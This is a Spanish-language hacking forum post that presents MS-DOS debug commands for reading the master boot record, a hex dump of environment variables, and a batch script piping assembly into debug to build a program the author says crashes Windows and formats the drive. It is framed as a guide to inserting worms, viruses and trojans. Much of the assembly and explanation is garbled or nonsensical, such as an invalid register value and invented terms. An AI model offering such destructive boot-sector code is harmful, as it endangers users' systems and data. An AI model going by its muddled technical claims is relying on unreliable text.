Jump to content

Recommended Posts

Posted (edited)

Si esta en una situacion donde no tiene material, herramientas o conexion a internet y quiere insertar buen codigo(worm, virus, trojan...) y no tiene sus herramientas(script kidding) favoritas ;) vean que facil que es...

si ocupan poner por ejemplo:

trojan.exe

en MS-DOS hay una herramienta de debug bastante poderosa:

debug trojan.exe

-rbx

y les enseñara los valores de:

AX=0006BX=0004CX=0000DX=0000SP=FFEEBP=0000SI=0000DI=0000

DS=0C1BES=0C1BSS=0C1BCS=0C1BIP=010A NV UP EI PL NZ NA PO NC

0C1B:010A 0F DB oF

Esos valores son los que ocupamos en primera instancia, antes de tocar cualquier binario, recuerden el record flag protection y ahy es donde se empieza...

Si van a probar hagan un backup del master boot de una vez...:

Code:

C:\> debug

-a

XXXX:100 mov ax,0201

XXXX:103 mov bx,7c00

XXXX:106 mov cx,1

XXXX:109 mov dx,80

XXXX:10C int 13

XXXX:10E int 20

XXXX:110

-g

Program terminated normally

-r cx

CX XXXX

:200

-n a:sector.tbl

-w 7c00

Writing 00200 bytes

-q

Esto se debe a que el hermoso microsoft windows nunca toma confianza de nuestros procesos hacia el task mngr o el subsistema de administracion kern32..

Y aqui es donde se puede hacer el "dump" para nuestro codigo exe:

Si AX y CX son como la tabla anterior quiere decir que el archivo no va a pasar el datalink y no es administrado por un servidor o cualquier tipo de criptografia, entonces esta aun mas facil...

Hacemos el desamble... )i.e Task( :

C:\> debug trojan.exe

- d

trojan.exe

Code:

C:\>debug trojan

Mekz Poizonb0x .Phrack.Ru

-d

13AD:0100 4D 00 00 41 00 00 00 00-00 00 00 00 00 00 00 00 M..A............

13AD:0110 43 4F 4D 53 50 45 43 3D-43 3A 5C 57 34 00 9C 13 COMSPEC=C:\W4...

13AD:0120 57 53 5C 53 59 53 54 45-4D 33 32 5C 43 4F 4D 4D WS\SYSTEM32\COMM

13AD:0130 41 4E 44 2E 43 4F 4D 00-41 4C 4C 55 53 45 52 53 AND.COM.ALLUSERS

13AD:0140 50 52 4F 46 49 4C 45 3D-43 3A 5C 44 4F 43 55 4D PROFILE=C:\DOCUM

13AD:0150 45 7E 31 5C 41 4C 4C 55-53 45 7E 31 00 41 50 50 E~1\ALLUSE~1.APP

13AD:0160 44 41 54 41 3D 43 3A 5C-44 4F 43 55 4D 45 7E 31 DATA=C:\DOCUME~1

13AD:0170 5C 61 7A 72 61 65 6C 5C-41 50 50 4C 49 43 7E 31 \poizonb0x\APPLIC~1

-d

13AD:0180 00 43 4C 49 45 4E 54 4E-41 4D 45 3D 43 6F 6E 73 .CLIENTNAME=Cons

13AD:0190 6F 6C 65 00 43 4F 4D 4D-4F 4E 50 52 4F 47 52 41 ole.COMMONPROGRA

13AD:01A0 4D 46 49 4C 45 53 3D 43-3A 5C 50 52 4F 47 52 41 MFILES=C:\PROGRA

13AD:01B0 7E 31 5C 43 4F 4D 4D 4F-4E 7E 31 00 43 4F 4D 50 ~1\COMMON~1.COMP

13AD:01C0 55 54 45 52 4E 41 4D 45-3D 49 52 45 4E 49 43 56 UTERNAME=IRENICV

13AD:01D0 53 00 48 4F 4D 45 44 52-49 56 45 3D 43 3A 00 48 S.HOMEDRIVE=C:.H

13AD:01E0 4F 4D 45 50 41 54 48 3D-5C 00 49 4E 43 4C 55 44 OMEPATH=\.INCLUD

13AD:01F0 45 3D 44 3A 5C 50 72 6F-67 72 61 6D 20 46 69 6C E=D:\Program Fil

-

Obtenemos un bloque de 1024 cada vez que pulsemos una tecla del teclado( 256 o 1024)

Ahora si ocupamos aun mas para crashear el sistema, es simple, hacemos un batch de esos que son faciles y no sirven para nada...:

	   
 @echo off  
	 echo >$ n sco.com  
	 echo >$ a 1024  
	 echo >>$ XOR AX,AX	; Salimos a zero y SS  
	 echo >>$ MOV SS,AX	; SS preparado en AX	
	 echo >>$ MOV SP,7C00	 ; ponemos el puntero en 0000:7C00  
	 echo >>$ STI			 ; activa interrupts...
	 echo >>$ PUSH AX		 ; (AX=0)  
	 echo >>$ POP ES		  ; Cloack! Cloack! al puntero extra...  
	 echo >>$ PUSH AX		 ; (AX=0) volvemos a testear AX
	 echo >>$ POP DS		  ; Segmentos para zero
	 echo >>$ CLD			 ; borramos el address...  
	 echo >>$ MOV SI,7C1B	 ; aqui empezamos  
	 echo >>$ MOV DI,061B	 ; todo el offset para dejar mas bytes al crash  
	 echo >>$ PUSH AX		 ; (AX) y (DI) en offset  
	 echo >>$ PUSH DI		 ; Dedicada a microsoft... xD 0000:061B  
	 echo >>$ MOV CX,FFFFF	; address y DI indocumentado
	 echo >>$ MOV BP,07BE	 ; primera entrada para BP BT BS  
	 echo >>$ MOV CL,04	; cuatro lugares extra  
	 echo >>$ CMP [BP+00],CH  ; CH a 0  
	 echo >>$ JL  062E		; encuentra el posible mbr(master boot..) sector  
	 echo >>$ JNZ 063A		; xD "Invalid partition table"  
	 echo >>$ ADD BP,+10	  ;   
	 echo >>$ LOOP 0620	;   
	 echo >>$ REP			 ; jodiendo CX   
	 echo >>$ MOVSB		; pop-pop-delta byte por byte   
	 echo >>$ RETF			; RETF a jump  
	 echo >>$ INT 13		  ; Format Drive :D
	 echo >>$ w  
	 echo >>$ q  
	 debug <$ >nul  
	 del $

Este es un claro ejemplo de como no necesitamos una herramienta para crashear el win... solo pensar (:

Az <3

Edited by Poizonb0x
Guest
This topic is now closed to further replies.
×
×
  • Create New...